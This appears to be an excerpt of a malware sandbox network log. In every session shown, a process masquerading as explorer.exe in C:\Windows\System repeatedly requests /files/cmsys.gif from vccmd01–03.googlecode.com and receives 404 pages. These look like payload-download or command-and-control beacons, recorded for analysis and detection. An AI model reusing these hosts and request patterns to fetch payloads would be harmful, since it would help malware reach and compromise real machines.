77	192.168.2.5	60729	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:40.760385036 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:41.682709932 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:41 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:41.682733059 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	60730	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:42.043884039 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:42.952661037 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:42 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:42.952675104 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	60731	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:43.320086956 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:44.287118912 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:44 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:44.287287951 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	60733	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:46.555582047 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:47.505816936 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:47 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:47.506161928 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	60734	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:47.796137094 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:48.744771004 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:48 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:48.744801044 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	60735	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:49.031251907 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:49.962517023 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:49 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:49.962536097 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	60737	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:51.835380077 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:52.786037922 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:52 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:52.786211014 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	60738	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:53.243544102 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:54.177103996 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:54 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 